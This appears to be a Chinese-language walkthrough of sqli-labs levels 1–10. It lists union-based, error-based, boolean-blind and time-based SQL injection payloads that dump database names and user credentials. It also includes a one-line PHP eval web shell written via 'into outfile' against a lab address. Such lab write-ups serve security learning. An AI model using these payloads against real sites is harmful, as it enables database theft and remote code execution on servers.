登入Windows命令行MySQL,方便查验注入命令
第一关:
在$_GET id 处注入
源码如下
只需构造闭合即可爆出数据
单引号’报错
查列数:
知道为3列之后使用sql联合查询语句:union
这里需要注意,使用联合查询爆出数据库名称的时候前面id值需要放空:
因为网页上能显示的只有第一行的内容
所以前面id值需要放空为“null”
查看所有数据库名称:
?id=' union select 1,group_concat(
schema_name),3 from
information_schema.schemata --+
查看所有表名:
?id=' union select 1,group_concat(
table_name),3 from
information_schema.tables where
table_schema='security' --+
已知数据库名和表名,爆列名:
?id=' union select 1,group_concat(
column_name),3 from
information_schema.columns where
table_schema='security' and
table_name='users' --+
分别在2,3处显示username和password:
?id=' union select 1,group_concat(
username),group_concat(
password) from
users --+
第二关:
通第一关类型一致,但是为数字型报错,不需要闭合
所有步骤同第一关一样
第三关:
同上,报错为单引号+小括号: ')
第四关:
第五关:
报错型注入原理 https://www.cnblogs.com/-zhong/p/10892439.html
先构造出闭合,直到其为报错为止,就说明以及进去了
利用Firefox插件MaxHacKBar(f12)中的报错语句
第六关
同第五关一样
找到了闭合点一切就可以按照套路来了
第七关
需要了解这两个函数,可以调出数据库的安装路径,以便通过菜刀连接远程服务器
钥匙我们需要写入木马文件,需要先判断是否具有写权限:
?id=1' and (select count(*)from mysql.user)>0 --+
若返回正常则具有写权限
http://192.168.43.221/sqli-labs-master/Less-7/?id=1%27))%20union%20select%20null,null,%27%3C?php%20@eval($_POST[qi]);?%3E%27%20into%20outfile%20muma.php%20--+
无法写入,理论上都是正确的。。。先走一步看一步,不要在这儿浪费太多的时间
第八关:
这一关是基于布尔的盲注,从报错的结果返回来判断我们的猜测是否正确
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
正确的显示为:
错误的显示为:
所以这里的闭合为单引号 :‘
先在dos上测试一下:
security第一个字母就是 s (这里也区分大小写哦)
故可以进行布尔判断:
?id=1' and if(ascii(substr((select database()),1,1))>114,1,0) --+
规律同上面关卡所示
第九关:
基于布尔的时间盲注:
通过sleep()函数,通过web界面的返回时间长短判断是否被执行
括号内的数字代表延迟时间(单位是秒s)
在时间盲注上的sleep韩束位置选择,最好可以再是错次数交多处进行卡顿,这样可以大大节约测试时间
正在卡顿中....
?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(2)) --+
同样套路
第十关:
发现标题是:
双引号,但是却一直是同样的“you are in ...”
那就该是被定向了,需要通过实践延迟函数来判断他的闭合区间:
?id=1" and sleep(5) --+
这个的返回时间明显加长了很多,那就是双引号了。
具体的时间注入这里就不想过深的去实践,因为太浪费时间,可以自己用python写出一个运行脚本或者是直接上工具SQLmap来进行测试;